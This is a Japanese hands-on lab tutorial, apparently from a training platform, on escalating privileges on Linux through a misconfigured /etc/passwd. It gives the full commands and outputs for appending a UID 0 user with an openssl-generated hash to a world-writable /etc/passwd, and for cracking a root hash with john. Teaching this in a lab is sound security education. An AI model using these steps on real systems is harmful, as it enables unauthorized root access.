はじめに
/etc/passwd
と /etc/shadow
ファイルは、Linux システムにおけるユーザー認証にとって重要です。システム管理者がこれらのファイルの内容やパーミッションを誤って設定すると、特権昇格の脆弱性につながる可能性があります。この実験では、/etc/passwd
ファイルを悪用した特権昇格の方法を探ります。
/etc/passwd
と /etc/shadow
ファイルは、Linux システムにおけるユーザー認証にとって重要です。システム管理者がこれらのファイルの内容やパーミッションを誤って設定すると、特権昇格の脆弱性につながる可能性があります。この実験では、/etc/passwd
ファイルを悪用した特権昇格の方法を探ります。
/etc/passwd
ファイルの理解このステップでは、/etc/passwd
ファイルの構造と意味を探ります。
Linux システムでは、ユーザーのパスワード情報は /etc/passwd
と /etc/shadow
の 2 つのファイルに格納されています。/etc/passwd
ファイルにはユーザー情報が含まれており、各行が 1 つのユーザーアカウントを表しています。各行はコロンで区切られた 7 つのフィールドに分かれています。
x
に設定されている場合、パスワードは /etc/shadow
に格納されています)次に、ターミナルを開き、/home/labex/project
ディレクトリに移動して次のステップに進みます。
cd /home/labex/project
/etc/passwd
ファイルから labex
ユーザーの情報を取得し、/home/labex/project
ディレクトリに labex_passwd.txt
という名前のファイルに保存します。
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
labex_passwd.txt
ファイルの内容を確認します。
cat labex_passwd.txt
期待される出力:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
各フィールドの意味は次の通りです。
/etc/shadow
に格納されています(x
で示されます)/home/labex
/usr/bin/zsh
Linux の認証プロセスでは、次の手順が行われます。
/etc/passwd
ファイルの各行の最初のフィールドと照合されます。0
の場合はルートユーザーを表し、ユーザー名に関係なく完全な管理権限が付与されます。このように、/etc/passwd
ファイルは Linux の認証プロセスにおいて重要な役割を果たしています。攻撃者がこのファイルを変更できる場合、不正アクセスを行い、特権を昇格させる可能性があります。
/etc/passwd
の書き込みアクセスによる特権昇格このステップでは、/etc/passwd
ファイルへの書き込みアクセスを悪用して特権を昇格させる方法を学びます。
まず、実験環境をセットアップしましょう。ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
次のコマンドを実行して、実験環境をセットアップします。
./env_setup1.sh
このコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。
セットアップが完了すると、user001
ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。
user001
ユーザーのホームディレクトリに移動します。
cd ~
whoami
コマンドを使用して、現在のユーザーを確認します。
whoami
期待される出力:
user001
id
コマンドを使用して、ユーザー ID とグループ ID を表示します。
id
期待される出力:
uid=1001(user001) gid=1001(user001) groups=1001(user001)
このように、あなたは特別な特権のない通常のユーザーです。
次に、/etc/passwd
と /etc/shadow
ファイルのパーミッションを確認します。
ls -l /etc/passwd /etc/shadow
期待される出力:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd
-rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow
/etc/passwd
ファイルには、すべてのユーザーに対して 実行
と 書き込み
の権限 (--wx--xrwx)
があります。これは、システム管理者による 誤設定
です。
私たちの目標は、/etc/passwd
ファイルに、カスタムのユーザー名、パスワード、および UID が 0
(ルート)の新しいユーザーエントリを作成することです。これにより、ルートユーザーとしてログインできるようになります。
まず、/etc/passwd
ファイル内のルートユーザーのエントリの形式を調べましょう。これを new_user_entry.txt
という名前の新しいファイルに抽出します。
cat /etc/passwd | grep root > new_user_entry.txt
cat
コマンドを使用して new_user_entry.txt
ファイルの内容を表示したときの期待される出力:
root:x:0:0:root:/root:/bin/bash
独自のエントリを作成するために、new_user_entry.txt
ファイル内のユーザー名を root
から任意の名前、たとえば new-user
に変更します。
new-user:x:0:0:root:/root:/bin/bash
2 番目のフィールドの x
を暗号化されたパスワードハッシュに置き換えます。openssl
ツールを使用して、パスワード(例:pass123
)のハッシュを生成できます。
openssl passwd -1 -salt ignite pass123
期待される出力:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
new_user_entry.txt
ファイルの 2 番目のフィールドにハッシュを代入します。
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
この行を /etc/passwd
ファイルに追加します。
echo "$(cat new_user_entry.txt)" >> /etc/passwd
注意:/etc/passwd
ファイルにはすべてのユーザーに対して書き込み権限があるため、新しいエントリを追加できます。実際のシナリオでは、通常のユーザーにこのファイルの書き込み権限を与えるべきではありません。
/etc/passwd
ファイル内で new-user
を検索して、新しいエントリを確認します。
cat /etc/passwd | grep new-user
期待される出力:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
最後に、パスワード pass123
で new-user
ユーザーに切り替えます。
su new-user
パスワードを求められたら、pass123
を入力します。プロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。
user001@660ecfa4d7612c798ef141ab:~$ su new-user
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
/etc/passwd
のパスワードハッシュによる特権昇格このステップでは、ルートユーザーのパスワードハッシュが /etc/shadow
ファイルではなく /etc/passwd
ファイルに格納されている場合に、特権を昇格させる方法を学びます。
まず、実験環境をセットアップしましょう。ターミナルを開き、/home/labex/project
ディレクトリに移動します。
もしまだ new-user
としている場合は、exit
コマンドを使って現在のシェルを抜け、labex
シェルに戻ってから、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
次のコマンドを実行して、実験環境をセットアップします。
./env_setup2.sh
このコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。
セットアップが完了すると、user001
ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。
user001
ユーザーのホームディレクトリに移動します。
cd ~
/etc/passwd
と /etc/shadow
ファイルのパーミッションを確認します。
ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow
今回は、ファイルのパーミッションが 正しく
設定されており、/etc/passwd
ファイルには読み取りアクセスのみが許可されています。
/etc/passwd
ファイルの内容を表示して、ルートユーザーのパスワードハッシュを見つけます。
cat /etc/passwd | grep ^root > ~/hash.txt
次のコマンドを実行して、hash.txt
ファイルの内容を確認します。
cat ~/hash.txt
期待される出力:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
ルートユーザーのパスワードハッシュが /etc/passwd
ファイルの 2 番目のフィールドに格納されていることに注意してください。これは通常、以前のシステム侵害やシステム管理者による 誤設定
の結果です。
次に、john
を実行してハッシュをクラックします。
john ~/hash.txt > ~/cracked.txt
john
は、辞書攻撃を使ってパスワードハッシュをクラックする人気のあるパスワードクラッキングツールです。出力は、パスワードが正常にクラックされたかどうかを示します。
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
cracked.txt
ファイルの内容を確認して、クラックされたパスワードを表示します。
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello (root)
このように、john
はパスワードを正常にクラックしました。パスワードは hello
です。
su
コマンドを使ってルートユーザーに切り替え、パスワードを求められたらクラックしたパスワードを入力します。
su root
パスワードを求められたら、hello
を入力します。コマンドプロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
この実験では、Linux のユーザー認証プロセス、/etc/passwd
ファイルの重要性、およびそれを利用した特権昇格の方法を学びました。以下の 2 つのシナリオを扱いました。(1) /etc/passwd
ファイルに書き込み権限があり、ルート特権を持つ新しいユーザーエントリを作成できる場合。(2) ルートユーザーのパスワードハッシュが /etc/passwd
ファイルに格納されており、john
ツールを使用してパスワードをクラックできる場合。実践を通じて、/etc/passwd
ファイルの誤設定を利用して Linux システムで特権を昇格させる方法について深い理解を得ました。